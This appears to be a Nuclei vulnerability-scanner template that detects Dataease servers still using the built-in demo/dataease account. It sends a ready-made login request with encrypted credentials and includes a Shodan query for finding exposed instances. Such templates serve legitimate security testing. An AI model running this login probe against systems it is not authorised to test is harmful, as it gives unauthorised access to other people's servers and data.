dataease-default-login: Dataease - Default Login

id: dataease-default-login

info:
  name: Dataease - Default Login
  author: DhiyaneshDK
  severity: high
  description: |
    Dataease has a built-in account demo/dataease, and many developers forget to delete or change the account password.
    As a result, many Dataease can log in with this built-in account.
  reference:
    - https://github.com/dataease/dataease/issues/5995
  classification:
    cpe: cpe:2.3:a:dataease_project:dataease:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dataease_project
    product: dataease
    shodan-query: html:"Dataease"
  tags: default-login,dataease,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/auth/login"

    headers:
      Content-Type: application/json

    body: |
      {
        "username": "HmFJtDmMa9MZjlWEpCNAo7Yh/hRBI7mrCRfFTok7wES7qcpIJ04x0OQXW5fwtL4WtN29408wyAupmtMjvvXjag==",
        "password": "sL+oQsnErJMYGiLyzXj/Hy2opaZcSnfjGtYtm48q8tdkkINxzTtAOFI2NgDoorchFE790vWQYIgo1CMyjJ2jnw==",
        "loginType": 0
      }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"token":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f98cb24d9f308d4743de4158e51114175933565e874fddfddab4c38681014d8b022062c6950a1ae96ab8004626e665b11144f43cf191b7fdf83d9cad6e68b1025405:922c64590222798bb761d5b6d8e72950